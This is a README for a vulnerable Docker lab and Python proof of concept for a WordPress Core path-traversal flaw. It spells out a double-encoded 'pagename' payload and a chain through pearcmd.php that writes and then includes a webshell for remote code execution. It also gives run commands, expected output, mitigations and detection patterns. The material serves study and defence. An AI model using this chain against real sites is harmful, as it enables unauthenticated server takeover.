
Lab vulnerabile (Docker) + PoC Python per la CVE-2026-87902 — path traversal non autenticato in WordPress Core (page-template -> LFI -> RCE condizionale). Uso educativo/autorizzato.
Lab deliberatamente vulnerabile + PoC in Python per la CVE-2026-87902: path traversal non autenticato nella risoluzione del page template del WordPress Core, che porta a Local File Inclusion (LFI) e a RCE condizionale.
| Campo | Valore |
|---|---|
| Prodotto | WordPress Core |
| Versioni affette | 4.7.0 → 7.1.1 |
| Correzione | 7.1.2 (backport fino a 4.7.37) |
| Tipo | Path Traversal (CWE-22) → LFI → RCE condizionale |
| Autenticazione | Nessuna (non autenticato) |
| CVSS 4.0 | 9.2 (Critico) |
| Pubblicazione | 2026-09-23 |
⚠️ Avviso legale / etico. Tutto il materiale qui presente è per studio in ambiente locale e autorizzato. Il lab è un'immagine Docker volutamente insicura — non esporla su internet. L'
exploit.pyha come target predefinitohttp://localhost:8091di proposito. Eseguire il PoC contro qualsiasi sistema senza autorizzazione esplicita per iscritto è reato. Sei l'unico responsabile dell'uso.
EXPLOIT-CVE-2026-87902/
├── README.md # este arquivo
├── docker-compose.yml # sobe o lab em localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # pré-condições ambientais de RCE
│ └── src/ # "WordPress mini" que reproduz o trecho vulnerável
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulneráveis
│ ├── private/
│ │ └── secret-config.php # alvo .php fora do tema (prova de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # diretório "page-*" exigido p/ a travessia
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadeia RCE via pearcmd
└── requirements.txt
Prerequisiti: Docker + Docker Compose e Python 3 con requests.
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build
# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py # roda LFI + RCE contra o lab local
# Opções úteis
python3 exploit.py --mode lfi # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube o lab
docker compose down
Output atteso (riepilogo):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
In get_page_template() il valore della query var pubblica pagename viene usato
per comporre il nome del template. Il core valida il valore grezzo con
validate_file() (che blocca .. letterale), ma subito dopo decodifica il valore
una volta e usa il risultato come candidato a template senza rivalidarlo
(riproduzione fedele in wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
Il locator quindi concatena tema + "/" + template e include il primo
file che esiste, senza realpath() né verifica che il risultato rimanga
all'interno della directory del tema.
L'attaccante invia pagename doppiamente codificato:
Valor no fio (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sem '..' literal => passa por validate_file()
2ª decodificação (core): templates/../../.../pearcmd <- travessia real
Poiché il locator antepone page-, il percorso diventa
page-templates/../../.../pearcmd.php. Questo risolve al di fuori del tema.
page- (qui,
page-templates/). È il punto di partenza reale della traversata: su Linux ogni
componente del percorso deve esistere perché i ../ risolvano. Temi
legacy (Twenty Twelve/Fourteen) e popolari (Neve, Hestia, Sydney) lo soddisfano.register_argc_argv = On in PHP → $_SERVER['argv'] viene popolato dalla
query string.pearcmd.php leggibile sul server (l'immagine ufficiale php:8.2-apache lo
include già in /usr/local/lib/php/pearcmd.php, nell'include_path predefinito).Poiché il locator aggiunge .php, la LFI raggiunge solo file .php. Per questo la rotta
pratica di RCE si concatena con pearcmd.php:
pearcmd.php passando, tramite la query string (=argv),
config-create per scrivere un webshell .php in /tmp./tmp/<webshell>.php tramite una nuova traversata → il PHP
dell'attaccante viene eseguito.La patch gestisce il valore di pagename in modo coerente: valida dopo
qualsiasi decodifica (o rifiuta input con sequenze codificate di
traversata) e impone il confine della directory nella risoluzione del
template (il percorso finale deve rimanere all'interno del tema). Risultato: il valore
doppiamente codificato non sopravvive più fino all'include.
Mitigazioni: aggiornare a ≥ 7.1.2; e, come difesa in profondità,
register_argc_argv = Off, rimuovere/limitare pearcmd.php, e un WAF che
rilevi ../ codificato (%2e%2e%2f, %252e...) nelle richieste.
../ codificato/doppio-codificato
(%2e%2e%2f, %252e%252e%252f) nei parametri.pagename), specialmente combinati con query string contenenti
config-create / riferimenti a pearcmd..php in /tmp seguita da inclusione.